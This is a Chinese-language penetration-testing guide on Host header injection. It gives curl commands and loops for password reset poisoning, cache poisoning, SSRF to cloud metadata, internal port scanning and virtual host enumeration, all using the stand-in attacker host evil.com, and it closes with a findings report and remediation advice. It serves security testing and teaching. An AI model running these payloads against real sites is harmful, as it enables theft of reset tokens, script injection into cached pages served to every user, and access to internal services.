测试 Host 头部注入(Testing for Host Header Injection)
适用场景
- 测试密码重置功能是否存在通过 Host 操控窃取 Token 的风险
- 评估受 Host 头部值影响的 Web 缓存行为
- 测试虚拟主机路由和服务器端请求处理
- 对反向代理或负载均衡器后的应用进行渗透测试
- 通过 Host 头部操控评估 SSRF 潜在风险
前置条件
- Burp Suite(用于拦截和修改 Host 头部)
- 了解 HTTP Host 头部在虚拟主机和路由中的作用
- 熟悉替代 Host 头部(X-Forwarded-Host、X-Host、X-Original-URL)
- 用于接收中毒请求的攻击者控制域名
- Burp Collaborator 或 interact.sh(用于带外检测)
- 用于密码重置测试的多个测试账户
工作流程
步骤 1 — 测试基本 Host 头部注入
# 提供任意 Host 头部
curl -H "Host: evil.com" http://target.com/ -v
# 检查应用是否在响应中反射 evil.com
# 双重 Host 头部
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v
# 带端口注入的 Host 头部
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v
# 使用不同 Host 的绝对 URL
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v
# 检查是否可访问不同虚拟主机
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v
步骤 2 — 测试密码重置中毒
# 使用修改过的 Host 头部触发密码重置
# 重置链接可能在 URL 中使用 Host 头部值
curl -X POST http://target.com/forgot-password \
-H "Host: evil.com" \
-d "email=victim@target.com"
# 若重置邮件包含:http://evil.com/reset?token=xxx
# 受害者点击链接时,攻击者将收到 Token
# 使用 X-Forwarded-Host 进行密码重置中毒
curl -X POST http://target.com/forgot-password \
-H "X-Forwarded-Host: evil.com" \
-d "email=victim@target.com"
# 重置 URL 中基于端口的注入
curl -X POST http://target.com/forgot-password \
-H "Host: target.com:80@evil.com" \
-d "email=victim@target.com"
# 测试各种转发头部
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
curl -X POST http://target.com/forgot-password \
-H "$header: evil.com" \
-d "email=victim@target.com"
echo "已测试:$header"
done
步骤 3 — 通过 Host 头部测试 Web 缓存投毒
# 若缓存层使用 URL(不含 Host)作为缓存键:
# 使用修改过的 Host 头部投毒缓存
curl -H "Host: evil.com" http://target.com/ -v
# 若响应已被缓存且包含 evil.com 链接
# 后续所有用户将收到被投毒的内容
# 使用 X-Forwarded-Host 进行缓存投毒
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# 检查 X-Cache 头部,确认响应是否已被缓存
# 验证缓存投毒
curl http://target.com/login -v
# 若响应仍包含 evil.com,则缓存已被投毒
# 投毒缓存页面中的 JavaScript URL
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# 若页面加载:<script src="//evil.com/static/app.js">
# 攻击者可向所有用户提供恶意 JavaScript
步骤 4 — 通过 Host 头部测试 SSRF
# 后端可能使用 Host 头部发起内部请求
curl -H "Host: internal-api.target.local" http://target.com/api/proxy
# 通过 Host 头部访问云元数据
curl -H "Host: 169.254.169.254" http://target.com/
# 内部端口扫描
for port in 80 443 8080 8443 3000 5000 9200; do
curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
echo " - 端口 $port"
done
# 通过绝对 URL 实现 SSRF
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/
步骤 5 — 测试虚拟主机枚举
# 枚举虚拟主机
for vhost in admin staging dev test api internal backend; do
status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
echo "$vhost.target.com - 状态码:$status,大小:$size"
done
# 检查默认虚拟主机行为
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# 与合法主机响应进行对比
# 通过虚拟主机访问内部管理面板
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/
步骤 6 — 测试连接状态攻击
# HTTP/1.1 连接复用攻击
# 先发送合法请求,然后在后续请求中注入 Host 头部
# 在 Burp Repeater 中使用"更新 Content-Length"和手动 Connection: keep-alive
# 在 Burp Repeater 中发送分组请求:
# 请求 1(合法):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# 请求 2(注入):
# GET /admin HTTP/1.1
# Host: internal.target.com
# 结合 HTTP 请求走私测试
# 若前端验证 Host 但后端不验证:
# 走私带有修改过 Host 头部的请求
核心概念
| 概念 |
定义 |
| Host 头部(Host Header) |
HTTP 头部,指定请求的目标虚拟主机 |
| 密码重置中毒(Password Reset Poisoning) |
注入 Host 使重置邮件包含攻击者控制的 URL |
| 通过 Host 进行缓存投毒(Cache Poisoning via Host) |
使用包含攻击者控制主机的响应投毒 CDN 缓存 |
| 虚拟主机路由(Virtual Host Routing) |
Web 服务器使用 Host 头部将请求路由到不同应用 |
| X-Forwarded-Host |
代理设置的替代头部,可能覆盖 Host 头部 |
| 连接状态攻击(Connection State Attack) |
利用持久连接发送具有不同 Host 值的请求 |
| 服务器端 Host 解析(Server-Side Host Resolution) |
后端代码使用 Host 头部生成 URL 和重定向 |
工具与系统
| 工具 |
用途 |
| Burp Suite |
用于 Host 头部操控和分析的 HTTP 代理 |
| Burp Collaborator |
用于 Host 头部 SSRF 的带外检测 |
| ffuf |
使用自定义 Host 头部进行虚拟主机暴力枚举 |
| gobuster vhost |
虚拟主机枚举模式 |
| Nuclei |
基于模板的 Host 头部注入扫描 |
| param-miner |
用于发现未键控的 Host 相关头部的 Burp 扩展 |
常见场景
- 密码重置 Token 窃取 — 在密码重置时投毒 Host 头部,使受害者点击指向攻击者服务器的链接,泄露重置 Token
- Web 缓存投毒 — 注入 Host 头部以缓存包含攻击者控制 JavaScript URL 的响应,对所有用户实现存储型 XSS
- 内部面板访问 — 通过虚拟主机操控枚举并访问内部管理面板
- SSRF 访问云元数据 — 使用 Host 头部将服务器端请求重定向到云元数据端点
- 路由绕过 — 通过操控 Host 将请求路由到未受保护的后端实例,从而绕过访问控制
输出格式
## Host 头部注入报告
- **目标**:http://target.com
- **反向代理**:Nginx
- **后端**:Apache/PHP
### 发现
| # | 技术 | 头部 | 影响 | 严重性 |
|---|-----------|--------|--------|----------|
| 1 | 密码重置中毒 | Host: evil.com | Token 窃取 | Critical |
| 2 | 缓存投毒 | X-Forwarded-Host: evil.com | 存储型 XSS | High |
| 3 | 虚拟主机访问 | Host: admin.target.com | 管理面板暴露 | High |
| 4 | SSRF | Host: 169.254.169.254 | 元数据访问 | Critical |
### 修复建议
- 将 Host 头部验证为预期值白名单
- 生成密码重置邮件中的 URL 时不使用 Host 头部
- 配置 Web 服务器拒绝包含无法识别的 Host 值的请求
- 在应用配置中设置绝对 URL,而非从 Host 派生